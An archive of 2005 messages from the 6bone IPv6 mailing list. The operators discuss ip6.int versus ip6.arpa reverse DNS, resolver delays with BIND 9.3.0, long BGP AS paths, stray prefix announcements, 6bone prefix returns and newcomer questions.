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Subject: Re: [6bone] .int / .arpa
Date: Mon, 21 Feb 2005 20:18:29 -0000
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----- Original Message ----- 
From: "FRLinux" <frlinux@frlinux.net>


> Iljitsch van Beijnum wrote:
> | On 20-feb-05, at 14:34, Gert Doering wrote:
> | I have a very hard time believing that both are true. If nobody uses it
> | anymore, then keeping existing ip6.int stuff around is 0 work, so that's
> | certainly the easiest option. If people actually use it, then yes, it is
> | a burden, but apparently it serves a purpose. In this case too, it would
> | be better to keep ip6.int.
>
> I disagree with that. I have started ipv6 with ip6.arpa until i noticed
> that some sites on the outside world couldn't resolve properly (read,
> were taking a long time to resolve, it successful) which is why i *had
> to* use ip6.int as well for our (read, both home and work, since i work
> in a place which likes ipv6) zone. I am one of these who actually like
> ip6.arpa much more than ip6.int, it is my own belief that it makes
> actually more sense. So if tomorrow, someone tells me ip6.int can be
> safely removed from my DNS, i will be more than happy.
>
> Steph

Hi
You are not alone with that point of view. We are not removing anything if it is still being used due to backwards compability. 
Besides it doesn't cost us anything (time, money, resources) to run dual. When nobody/a very low  percentage is querying our .int 
zone, which could be some time in 2015 or even later (or maybe never?), we will remove it.


Joergen Hovland ENK 


From pekkas@netcore.fi Mon Feb 21 12:26:30 2005
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From: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: [6bone] .int / .arpa
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On Mon, 21 Feb 2005, Iljitsch van Beijnum wrote:
> On 21-feb-05, at 20:09, FRLinux wrote:
>> I have started ipv6 with ip6.arpa until i noticed
>> that some sites on the outside world couldn't resolve properly (read,
>> were taking a long time to resolve, it successful) which is why i *had
>> to* use ip6.int as well for our (read, both home and work, since i work
>> in a place which likes ipv6) zone. I am one of these who actually like
>> ip6.arpa much more than ip6.int, it is my own belief that it makes
>> actually more sense. So if tomorrow, someone tells me ip6.int can be
>> safely removed from my DNS, i will be more than happy.
>
> Apparently you don't understand that when your ip6.int delegation is removed 
> your original troubles will reappear.
>
> (Unless the stuff that created the problems has been upgraded to look for 
> ip6.arpa in the mean time.)

There are some more serious issues as well, if they appeared recently.

Bind 9.3.0 removed support for bitstring queries, so if you:
  - run BIND 9.3.0 as your caching server, and
  - your hosts' resolver libraries send ip6.arpa records in bitstring 
format, while ip6.int queries are sent in nibbles (e.g., RHL9, maybe 
others)

.. You'll experience about 30-40 seconds of delay when you try to log 
on using SSH.  Bind 9.2.4 and earlier work fine.  Yes, this has been 
reported to Bind fellows, and closed as "working as designed."

Sigh..

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

From frlinux@frlinux.net Mon Feb 21 12:45:26 2005
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Iljitsch van Beijnum wrote:
| Apparently you don't understand that when your ip6.int delegation is
| removed your original troubles will reappear.
|
| (Unless the stuff that created the problems has been upgraded to look
| for ip6.arpa in the mean time.)

Well i don't think it has been. One thing i have to understand is my
users telling me they experienced delays in looking some sites and/or
ssh'ing to other universities, which of course they blame on the admin
(me, in this case) as they don't understand what ipv6 is about and/or
why it is good to run it.

As Pekka also posted, Bind 9.3 is looking a bit worrying to me since i
don't want network delays to happen.

Steph
- --
Mail sent on Gentoo Linux (http://www.gentoo.org)
http://frlinux.net - frlinux@frlinux.net
public key : http://frlinux.net/files/frlinux_public_key.asc


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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] .int / .arpa
Date: Mon, 21 Feb 2005 22:27:41 +0100
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On 21-feb-05, at 21:24, Pekka Savola wrote:

> Bind 9.3.0 removed support for bitstring queries, so if you:
>  - run BIND 9.3.0 as your caching server, and
>  - your hosts' resolver libraries send ip6.arpa records in bitstring  
> format, while ip6.int queries are sent in nibbles (e.g., RHL9, maybe  
> others)

My somewhat aging Red Hat Linux 9 system doesn't do this:

root@torreya root]# uname -a
Linux torreya 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386  
GNU/Linux

22:16:28.341283 torreya.muada.com.32773 > sequoia.muada.com.domain:  
[udp sum ok]  58539+ PTR?  
e.5.a.a.5.3.e.f.f.f.0.7.0.6.2.0.0.0.0.0.6.0.0.0.8.f.a.1.1.0.0.2.ip6.arpa 
. (90) (len 98, hlim 63)
22:16:28.341661 sequoia.muada.com.domain > torreya.muada.com.32773:  
[udp sum ok]  58539 NXDomain* 0/1/0 (148) (len 156, hlim 64)
22:16:28.356711 torreya.muada.com.32773 > sequoia.muada.com.domain:  
[udp sum ok]  58540+ PTR?  
e.5.a.a.5.3.e.f.f.f.0.7.0.6.2.0.0.0.0.0.6.0.0.0.8.f.a.1.1.0.0.2.ip6.int. 
  (89) (len 97, hlim 63)

[...]

22:16:47.970774 torreya.muada.com.32773 > sequoia.muada.com.domain:  
[udp sum ok]  58558+ PTR?  
d.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa 
. (90) (len 98, hlim 63)
22:16:47.971687 sequoia.muada.com.domain > torreya.muada.com.32773:  
[udp sum ok]  58558 1/5/3  
d.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa 
. PTR www.isc.org. (287) (len 295, hlim 64)

The first two lines are for an address that doesn't have any reverse  
mapping, and it asks for ip6.arpa and then ip6.int. For the last two  
lines ip6.arpa works so it doesn't do ip6.int. (Scott: Verio has both  
ip6.arpa and ip6.int. That's doing the right thing, because this works  
if your system asks for ip6.arpa but also if it asks for ip6.int. The  
real question is why in your case, it seems to ask for ip6.int.)

But bitlabels never enter the picture.

I installed this system somewhere in the second half of 2003. I can't  
imagine they changed it to look up bitlabels after this...

(But then, I never understood why people use Linux for network stuff in  
the first place, when *BSD does it so much better.)

> .. You'll experience about 30-40 seconds of delay when you try to log  
> on using SSH.  Bind 9.2.4 and earlier work fine.

??? As far as I can tell, there are no bitlabel delegations, so how  
would this work?

And why would there be a delay? BIND 9.3.0 doesn't support bitlabels so  
I assume it returns an error so there shouldn't be any delays.

>   Yes, this has been reported to Bind fellows, and closed as "working  
> as designed."

> Sigh..

I see your "sigh" and I raise you a "yuck". I'm sticking with BIND 9.2.


From gert@Space.Net Mon Feb 21 13:34:26 2005
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Date: Mon, 21 Feb 2005 22:34:01 +0100
From: Gert Doering <gert@space.net>
To: FRLinux <frlinux@frlinux.net>
Subject: Re: [6bone] .int / .arpa
Message-ID: <20050221213401.GC84850@Space.Net>
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Hi,

On Mon, Feb 21, 2005 at 07:09:49PM +0000, FRLinux wrote:
> I disagree with that. I have started ipv6 with ip6.arpa until i noticed
> that some sites on the outside world couldn't resolve properly (read,
> were taking a long time to resolve, it successful) which is why i *had
> to* use ip6.int as well for our (read, both home and work, since i work
> in a place which likes ipv6) zone. 

And *this* is why ip6.int should be have been switched off at the root,
one year ago.  Not even a "big bang", more a "slight puff", and then
people get to finally upgrade their broken software.

Your way, we get to support ip6.int forever, because there's always a
broken system out there to babysit for.

(I'm not sure either why a non-existing ip6.int delegation - as opposed
to a lame delegation - would lead to "slow DNS resolving", though)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  71007  (66629)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Mon Feb 21 15:23:26 2005
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Date: Mon, 21 Feb 2005 23:22:59 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Cisco and NAT question
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Hi Scott,

Why use IPv6 at all if you are using NAT, why not just use IPv4?

I think it's good if Cisco don't support IPv6 NAT operations ;)

Tim

On Mon, Feb 21, 2005 at 01:44:22PM -0500, Scott Nelson wrote:
> Can NAT be setup to NAT ipv6 to ipv6 from one interface to the other?
> 
> ISP1   ISP2   ISP3
>   |      |             |
>         router
>     |        |
> Client/Network connections
> 
> 
> I want to statically route all of ISP 2  and ISP 3 network ranges to them
> via their connections while using ISP's 1 network range for everything else.
> ISP1, 2 and 3 are tunnels. Client/Network connections are and fast ethernet
> and a 10Mb ethernet.
> 
> BGP would be great except that I can't get anyone to call me back so, I am
> exploring this option while I am waiting for them to call ( if ever ).
> Free tunnels are great but..............   ;-)
> 
> Anyway, I have been working on it for a couple of days now and can't seem to
> get this working.
> So, what I need is to NAT overload ISP2 and ISP3 from my network ranges.
> That's the part that I am having an issue with.
> Routing is already pushing the traffic for those networks out the correct
> tunnels via static route to each tunnel.
> 
> Anybody doing IPv6 NAT overload via Cisco or have an idea how to get this
> working?
> 
> TIA
> 
> Scotty
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Tim



From L@bnmnetworks.net Mon Feb 21 17:33:26 2005
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Because I am trying to do a "poor mans" BGP and bleed of the traffic for/to
certain networks to cut down on the peering point latency.
Your right though, won't do much good for the incoming traffic, thinking
about it now.   :-(

Scotty


----- Original Message ----- 
From: "Tim Chown" <tjc@ecs.soton.ac.uk>
To: <6bone@mailman.isi.edu>
Sent: Monday, February 21, 2005 18:22
Subject: Re: [6bone] Cisco and NAT question


> Hi Scott,
>
> Why use IPv6 at all if you are using NAT, why not just use IPv4?
>
> I think it's good if Cisco don't support IPv6 NAT operations ;)
>
> Tim
>
> On Mon, Feb 21, 2005 at 01:44:22PM -0500, Scott Nelson wrote:
> > Can NAT be setup to NAT ipv6 to ipv6 from one interface to the other?
> >
> > ISP1   ISP2   ISP3
> >   |      |             |
> >         router
> >     |        |
> > Client/Network connections
> >
> >
> > I want to statically route all of ISP 2  and ISP 3 network ranges to
them
> > via their connections while using ISP's 1 network range for everything
else.
> > ISP1, 2 and 3 are tunnels. Client/Network connections are and fast
ethernet
> > and a 10Mb ethernet.
> >
> > BGP would be great except that I can't get anyone to call me back so, I
am
> > exploring this option while I am waiting for them to call ( if ever ).
> > Free tunnels are great but..............   ;-)
> >
> > Anyway, I have been working on it for a couple of days now and can't
seem to
> > get this working.
> > So, what I need is to NAT overload ISP2 and ISP3 from my network ranges.
> > That's the part that I am having an issue with.
> > Routing is already pushing the traffic for those networks out the
correct
> > tunnels via static route to each tunnel.
> >
> > Anybody doing IPv6 NAT overload via Cisco or have an idea how to get
this
> > working?
> >
> > TIA
> >
> > Scotty
> >
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
>
> -- 
> Tim
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From oh2kku@iki.fi Mon Feb 21 17:54:26 2005
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Gert Doering wrote:
> And *this* is why ip6.int should be have been switched off at the root,
> one year ago.  Not even a "big bang", more a "slight puff", and then
> people get to finally upgrade their broken software.

I agree with Gert. I am seeing significant slowdowns with initiating 
v6-connections as well due to the DNS issues (int/arpa and 
bitstring/nibble). In my opinion, the situation would not get (much) 
worse if ip6.int and bitstrings stopped working today. If something 
seems to almost work, people rarely touch it. But if it (= ip6.int and 
bitstrings) break completely, the fixes could be in software a lot 
faster. The change will hit harder the later it is made.

Maybe a heads-up warning is in order beforehands, but the time from the 
warning to the time the big switch is hit should not need to be more 
than a few months at maximum..

   Tapio

From spz@serpens.de Mon Feb 21 22:24:27 2005
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Hi,

.int and .arpa are all the same to me (provided we don't get to switch every
two years, that is :), but I liked bitstring format.

regards,
	spz
-- 
spz@serpens.de (S.P.Zeidler)

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On Mon, 21 Feb 2005, Iljitsch van Beijnum wrote:
> My somewhat aging Red Hat Linux 9 system doesn't do this:
[...]
> But bitlabels never enter the picture.
>
> I installed this system somewhere in the second half of 2003. I can't imagine 
> they changed it to look up bitlabels after this...

In fact, they did -- this change was part of (misguided) glibc bugfix 
errata :-(

* Thu Oct 30 2003 Jakub Jelinek <jakub@redhat.com> 2.3.2-27.9.2
- fix getnameinfo and getaddrinfo with reverse IPv6 lookups
   (#101261)


> And why would there be a delay? BIND 9.3.0 doesn't support bitlabels so I 
> assume it returns an error so there shouldn't be any delays.

The problem is that glibc resolver (I don't know of others) does not 
react immediately when it gets a Format Error message -- but rather 
waits for 10 seconds or so.

Yep, this has been reported to glibc folks as well ...

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

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Subject: [6bone] Long BGP AS set via IPv6
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Anyone have a clue why this is happening?   This is coming from Universita' 
degli Studi di Roma "La Sapienza" (caspur.it).  Time is GMT-2:

Feb 27 19:54:16: %BGP-6-ASPATH: Long AS path 20965 1299 3320 15589 15589 
5397 
{33,109,145,293,559,816,1103,1273,1275,1752,1853,1930,2042,2200,2497,2500,2914,3257,3265,3333,3352,3425,3549,4691,4697,4716,4725,5511,5539,5609,5623,6175,6435,6453,6762,6830,6939,7580,7660,8447,8472,8763,9264,10566,12779,12793,12859,13944,14277,15897,17715,17965,24136,24895,25358,29377,29686,31103,32266} 
received from 2001:798:201B:10AA::1: More than configured MAXAS-LIMIT

Feb 27 19:57:47: %BGP-6-ASPATH: Long AS path 20965 1299 3320 15589 15589 
5397 
{109,145,559,816,1103,1273,1275,1752,1853,1930,2042,2200,2497,2500,2914,3257,3265,3333,3352,3425,3549,4691,4697,4716,4725,5511,5539,5623,6175,6435,6453,6762,6830,6939,7580,7660,8447,8472,8763,9264,10566,12779,12793,12859,13944,14277,15897,17715,17965,24136,24895,25358,29377,29686,31103,32266} 
received from 2001:798:201B:10AA::1: More than configured MAXAS-LIMIT

Feb 27 20:16:06: %BGP-6-ASPATH: Long AS path 20965 11537 17579 293 3320 
3320 15589 15589 5397 
{109,145,559,816,1103,1273,1275,1752,1853,1930,2042,2200,2497,2500,2914,3257,3265,3333,3352,3425,3549,4691,4697,4716,4725,5511,5539,5623,6175,6435,6453,6762,6830,6939,7580,7660,8447,8472,8763,9264,10566,12779,12793,12859,13944,14277,15897,17715,17965,24136,24895,25358,29377,29686,31103,32266} 
received from 2001:798:201B:10AA::1: More than configured MAXAS-LIMIT

Hopefully no router fell over because of it.

-Hank 


From gabriella.paolini@garr.it Mon Feb 28 01:59:39 2005
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Subject: [6bone] [Fwd: Long BGP AS set via IPv6]
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Gabriele, Maurizio,
could you explain what's happening?
thanks,
Gabriella

-------- Original Message --------
Subject: Long BGP AS set via IPv6
Date: Mon, 28 Feb 2005 11:44:14 +0200
From: Hank Nussbacher <hank@mail.iucc.ac.il>
To: geantv6@dante.org.uk, 6bone@ISI.EDU

Anyone have a clue why this is happening?   This is coming from Universita'
degli Studi di Roma "La Sapienza" (caspur.it).  Time is GMT-2:

Feb 27 19:54:16: %BGP-6-ASPATH: Long AS path 20965 1299 3320 15589 15589
5397
{33,109,145,293,559,816,1103,1273,1275,1752,1853,1930,2042,2200,2497,2500,2914,3257,3265,3333,3352,3425,3549,4691,4697,4716,4725,5511,5539,5609,5623,6175,6435,6453,6762,6830,6939,7580,7660,8447,8472,8763,9264,10566,12779,12793,12859,13944,14277,15897,17715,17965,24136,24895,25358,29377,29686,31103,32266} 

received from 2001:798:201B:10AA::1: More than configured MAXAS-LIMIT

Feb 27 19:57:47: %BGP-6-ASPATH: Long AS path 20965 1299 3320 15589 15589
5397
{109,145,559,816,1103,1273,1275,1752,1853,1930,2042,2200,2497,2500,2914,3257,3265,3333,3352,3425,3549,4691,4697,4716,4725,5511,5539,5623,6175,6435,6453,6762,6830,6939,7580,7660,8447,8472,8763,9264,10566,12779,12793,12859,13944,14277,15897,17715,17965,24136,24895,25358,29377,29686,31103,32266} 

received from 2001:798:201B:10AA::1: More than configured MAXAS-LIMIT

Feb 27 20:16:06: %BGP-6-ASPATH: Long AS path 20965 11537 17579 293 3320
3320 15589 15589 5397
{109,145,559,816,1103,1273,1275,1752,1853,1930,2042,2200,2497,2500,2914,3257,3265,3333,3352,3425,3549,4691,4697,4716,4725,5511,5539,5623,6175,6435,6453,6762,6830,6939,7580,7660,8447,8472,8763,9264,10566,12779,12793,12859,13944,14277,15897,17715,17965,24136,24895,25358,29377,29686,31103,32266} 

received from 2001:798:201B:10AA::1: More than configured MAXAS-LIMIT

Hopefully no router fell over because of it.

-Hank



-- 

Gabriella Paolini
--------------------------------------------------
GARR - The Italian Academic and Research Network
V.le Palmiro Togliatti,1625 I-00155 Rome - Italy
office: +39 06 433614 33  fax:  +39 06 433614 44
m@il:   gabriella.paolini@garr.it
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Internet Telephony
Nome utente Skype: gabriella.paolini (www.skype.com)

==================================================

From iljitsch@muada.com Mon Feb 28 02:53:39 2005
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Long BGP AS set via IPv6
Date: Mon, 28 Feb 2005 11:51:48 +0100
To: Hank Nussbacher <hank@mail.iucc.ac.il>
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On 28-feb-05, at 10:44, Hank Nussbacher wrote:

> Anyone have a clue why this is happening?

Looks like someone is aggregating some routes from lots of different 
sources into a single one. Can you list the prefix(es) and additional 
attributes, such as ATOMIC_AGGREGATE and AGGREGATOR?


From jeroen@unfix.org Mon Feb 28 02:55:39 2005
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Subject: Re: [6bone] Long BGP AS set via IPv6
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On Mon, 2005-02-28 at 11:44 +0200, Hank Nussbacher wrote:
>Anyone have a clue why this is happening?   This is coming from Universita=
'=20
>degli Studi di Roma "La Sapienza" (caspur.it).  Time is GMT-2:
>
>Feb 27 19:54:16: %BGP-6-ASPATH: Long AS path 20965 1299 3320 15589 15589=20
>5397=20
>{33,109,145,293,559,816,1103,1273,1275,1752,1853,1930,2042,2200,2497,2500,=
2914,3257,3265,3333,3352,3425,3549,4691,4697,4716,4725,5511,5539,5609,5623,=
6175,6435,6453,6762,6830,6939,7580,7660,8447,8472,8763,9264,10566,12779,127=
93,12859,13944,14277,15897,17715,17965,24136,24895,25358,29377,29686,31103,=
32266}=20
>received from 2001:798:201B:10AA::1: More than configured MAXAS-LIMIT
<SNIP>
>Hopefully no router fell over because of it.

Actually most likely a router fell over and then keep spitting the above
out to the rest of the world. It is quite bad that you actually get it,
meaning that no other prefix exists for that prefix.
That happens some times with broken implementations :)

See http://www.sixxs.net/tools/grh/lg/?show=3Devilbogons&find=3D::/0

Btw, the more ASN's provide data to GRH the better it gets ;)

"Something" (AS4134) is also announcing 2000:2:2::/64 for the last
couple of weeks, and the fun part: there are entities that transit it...

Microsoft also seems to be hacked over:

inet6num:     3FFE:8310::/28
netname:      MICROSOFT
descr:        Microsoft 6Bone Allocation

is now announced by AS17832 (SIXNGIX-AS-KR) and by AS31701
(CONSULINTEL-AS) and by AS9112 (POZNAN). Does this have to do with
Teredo?

I've CC'd MS, btw Dennis, you might want to add a maintainer to your
object...

AS31707 mentions:
8<------------------
aut-num:      AS31701
as-name:      CONSULINTEL-AS
descr:        Consulintel Autonomous System
descr:        Temporary AS to be used with 2001:07F9::/32
------------------->8
Does not look like they should be announcing 6bone space then...

Sprint is still transiting for AS10318 :(

Greets,
 Jeroen


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From hank@mail.iucc.ac.il Mon Feb 28 03:09:39 2005
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Subject: Re: [6bone] Long BGP AS set via IPv6
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At 11:51 AM 28-02-05 +0100, Iljitsch van Beijnum wrote:
>On 28-feb-05, at 10:44, Hank Nussbacher wrote:
>
>>Anyone have a clue why this is happening?
>
>Looks like someone is aggregating some routes from lots of different 
>sources into a single one. Can you list the prefix(es) and additional 
>attributes, such as ATOMIC_AGGREGATE and AGGREGATOR?

Can't, since maxas-limit causes the router to drop the prefix upon receipt.

-Hank


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Subject: Re: [6bone] Long BGP AS set via IPv6
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On 28-feb-05, at 12:05, Hank Nussbacher wrote:

>> Looks like someone is aggregating some routes from lots of different 
>> sources into a single one. Can you list the prefix(es) and additional 
>> attributes, such as ATOMIC_AGGREGATE and AGGREGATOR?

> Can't, since maxas-limit causes the router to drop the prefix upon 
> receipt.

Cool.  :-)

Iljitsch


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From: "robert j. wozny" <speedy@ziew.org>
To: 6bone@mailman.isi.edu
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On Sat, Feb 12, 2005, Jeroen Massar wrote:

> Gone before 2005-01-01:
[...]
> 3ffe:8210::/28 ATMAN6/PL        2004-11-05 12:02:17
[...]

Hi guys, 

Since november, we (ATMAN/AS15694) stopped using our 6BONE IPv6 address
space. I've deleted our entries in the 6BONE registry.

Thanks for all... 

Regards, 
-- r.

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On Tue, 2005-03-08 at 01:08 +0100, robert j. wozny wrote:
>On Sat, Feb 12, 2005, Jeroen Massar wrote:
>
>> Gone before 2005-01-01:
>[...]
>> 3ffe:8210::/28 ATMAN6/PL        2004-11-05 12:02:17
>[...]
>
>Hi guys,=20
>
>Since november, we (ATMAN/AS15694) stopped using our 6BONE IPv6 address
>space. I've deleted our entries in the 6BONE registry.

Thanks. I've updated GRH to reflect that.

Greets,
 Jeroen


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From thomas.budicin@email.it Tue Mar  8 07:25:29 2005
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Hi, i'm Thomas Budicin, i'm from italy. I want to know if i can have a 
6bone address space.
When 6lab testing finish?

Many thanks Thomas

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On Tue, 2005-03-08 at 07:24 -0800, Thomas Budicin wrote:
>Hi, i'm Thomas Budicin, i'm from italy. I want to know if i can have a=20
>6bone address space.

There are no new pTLA's being given out. If you want IPv6 connectivity
try to to go to an ISP that supports it and request it from them.

For a list of italian ISP's doing IPv6, see:

http://www.sixxs.net/tools/grh/tla/all/?country=3Dit

>When 6lab testing finish?

6bone will end 6/6/2006. I don't know what '6lab' is though.
And as mentioned previously, there are a number of sites already
blocking anything from/to 3ffe::/16, thus the usage of these prefixes is
becoming limited.

Greets,
 Jeroen


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From amachado@fe.up.pt Tue Mar 29 04:55:29 2005
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From mla@skyinet.net Tue Mar 29 17:34:31 2005
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Thank you. We in BAYANTEL a Telecommunications Co. and TIER 1 ISP in the
PHILIPPINES is now getting ready/awareness on IPV6 and its services. :-) 


 -------------------------------------
Mar Loreto Apuhin, ECE, CCNA
IP Operations - Network Division
Bayan Telecommunications Inc.
tel: +63 2 449 8106 [timezone: UTC+08:00]
------------------------------------

-----Original Message-----
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On Behalf Of Ana Machado
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_______________________________________________
6bone mailing list
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From hanwei@nlsde.buaa.edu.cn Thu Mar 31 07:01:36 2005
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Hi,all,

I encounted a problem when progrmming with the ipv6 routing header.It's
the function"inet6_rth_space","inet6_rth_space","
inet6_rth_add".They all supposed to be defined in <netinet/in.h>.But I
can't find the definitions in my system.(By the way ,my system is Linux
version 2.4.20-8 ).Has anyone encounted the same problem before,would
you please help me ?
Thanks all.


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From hank@mail.iucc.ac.il Thu Apr  7 08:51:13 2005
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From: Hank Nussbacher <hank@mail.iucc.ac.il>
To: Sailer Shen <sailer_sh@hotmail.com>
Subject: Re: [6bone] Question about registry in 6bone
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On Thu, 7 Apr 2005, Sailer Shen wrote:

Sailer,

Just realize that your email was flagged by SpamAssassin as spam:
> X-Spam-Status: Yes, score=7.1 required=6.8
tests=BAYES_00,FORGED_MUA_OUTLOOK,
>         HTML_FONT_BIG,HTML_MESSAGE,J_CHICKENPOX_52,MIME_BASE64_NO_NAME,
>
MIME_BASE64_TEXT,MSGID_FROM_MTA_HEADER,RCVD_IN_CBL,RCVD_IN_SBL_XBL,
>         RCVD_IN_SORBS,RCVD_IN_SORBS_WEB autolearn=no version=3.0.2
> X-Spam-Report:
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>         * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
>         *      [score: 0.0000]
>         *  0.0 HTML_MESSAGE BODY: HTML included in message
>         *  0.1 HTML_FONT_BIG BODY: HTML tag for a big font size
>         *  0.3 MIME_BASE64_TEXT RAW: Message text disguised using base64
>     encoding
>         *  0.4 MIME_BASE64_NO_NAME RAW: base64 attachment does not have
a
>     file name
>         *  1.5 RCVD_IN_SBL_XBL RBL: Received via a relay in Spamhaus
SBL+XBL
>         *      [218.78.210.24 listed in sbl-xbl.spamhaus.org]
>         *  0.0 RCVD_IN_SORBS_WEB RBL: SORBS: sender is a abuseable web
server
>         *      [218.78.210.24 listed in dnsbl.sorbs.net]
>         *  1.5 RCVD_IN_CBL RBL: Received via a relay in cbl.abuseat.org
>         *      [Blocked - see
>     <http://cbl.abuseat.org/lookup.cgi?ip=218.78.210.24>]
>         *  0.3 MSGID_FROM_MTA_HEADER Message-Id was added by a relay
>         *  3.9 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS
>     Outlook
>         *  1.0 RCVD_IN_SORBS RCVD_IN_SORBS

so many people may not be able to see your mail.  If you are not some
spammer trying to collect intelligence I suggest posting from some valid
email address that is associated with an IPV6 allocation.

-Hank

> In the web page http://eng.hexago.com/cgi-bin/registry/creform.pl, there're some fields. When start a new registry, I creat a person object, what fields must be fill up except "mnt-by"?  I always show some errors.
> Thanks
>
> Sailer

From dr@cluenet.de Tue Apr 12 10:45:32 2005
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Date: Tue, 12 Apr 2005 19:45:03 +0200
From: Daniel Roesen <dr@cluenet.de>
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Hi folks,

people were missing a global mailing list (not regional RIR/NOG)
dedicated to _operational_ matters of the global IPv6 (production, not
6BONE) Internet. To fill this void I've created such a mailing list:

http://lists.cluenet.de/mailman/listinfo/ipv6-ops/

So if you're taking part in IPv6 BGP or are interested in global IPv6
operational matters, feel more than invited to join the list! We'll
try to get IPv6 ops people from all regions on board to foster exchange
of experience and resolve problems which require someone non-local
coordination.

This mailing list focusses on the _production_ IPv6 Internet. Problems
and matters only relevant to the 6BONE should still be discussed
here on the 6BONE list of course. As the production network and 6BONE
are interconnected to each other and unfortunately no real demarc lines
can be drawn, I guess there will be some overlap though.


Best regards,
Daniel

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

From sailer_sh@hotmail.com Thu Apr 14 18:21:44 2005
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In the web page http://eng.hexago.com/cgi-bin/registry/creform.pl, there're 
some fields. When start a new registry, I creat a person object, what fields 
must be fill up except "mnt-by"?  I always show some errors.  Who can help 
me?

Thanks

Sailer



From daniel@kewlio.net Sun Apr 24 16:58:24 2005
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Hi Bob,

Kewlio.net Limited would like to return the 3FFE:4005::/32 prefix to the 6bone.
I have removed all records from whois.6bone.net and the prefix is not currently seen in the ipv6 global tables.
All references have been removed from our routers.

Many thanks for enabling us to develop IPv6 over the past few years, we are now running a production network from our RIPE /32 prefix.


Thanks,

-- 

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>

From mklink@klinkwall.net Sun Apr 24 18:31:25 2005
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To Whom It May Concern:

I am new to IPv6 Technology and would like to find out how to get our site
started.

I am currently running an Ultra 1, Sparc station 10 dual processor, and
Sparc station 20 of which I could use one of them to be a IPv6 router to
tunnel through IPv4.

I also have 3 Windows XP boxes that I would like to add to the IPv6 network
as well.

Thank you in advance for any assistance you could provide,

Very Respectfully,

Michael P. Klink

Klink And Wall Systems


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</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>To Whom It May Concern:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I am new to IPv6 Technology and would like to find =
out how
to get our site started.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I am currently running an Ultra 1, Sparc station 10 =
dual
processor, and Sparc station 20 of which I could use one of them to be a =
IPv6
router to tunnel through IPv4.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I also have 3 Windows XP boxes that I would like to =
add to
the IPv6 network as well.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thank you in advance for any assistance you could =
provide,<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Very Respectfully,<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Michael P. Klink<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Klink And Wall Systems<o:p></o:p></span></font></p>

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From mla@skyinet.net Sun Apr 24 19:11:34 2005
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Hello Bob,

What would be the procedure if we will assume the ownership of that IPV6
address? We also want to test IPv6 here in the Philippines. We are operating
as TIER 1 ISP in the Philippines. :-) 


 -------------------------------------
Mar Loreto Apuhin, ECE, CCNA
IP Operations - Network Division
Bayan Telecommunications Inc.
tel: +63 2 449 8106 [timezone: UTC+08:00]
------------------------------------

-----Original Message-----
From: 6bone-bounces@mailman.isi.edu [mailto:6bone-bounces@mailman.isi.edu]
On Behalf Of Daniel Austin
Sent: Monday, April 25, 2005 7:58 AM
To: 6bone@mailman.isi.edu; bob@thefinks.com
Subject: [6bone] Return of 3FFE:4005::/32

Hi Bob,

Kewlio.net Limited would like to return the 3FFE:4005::/32 prefix to the
6bone.
I have removed all records from whois.6bone.net and the prefix is not
currently seen in the ipv6 global tables.
All references have been removed from our routers.

Many thanks for enabling us to develop IPv6 over the past few years, we are
now running a production network from our RIPE /32 prefix.


Thanks,

-- 

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


From blahdy@mx01.bos.ma.towardex.com Sun Apr 24 20:45:24 2005
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Date: Sun, 24 Apr 2005 23:45:19 -0400
From: James <haesu@towardex.com>
To: Mar Loreto Apuhin <mla@skyinet.net>
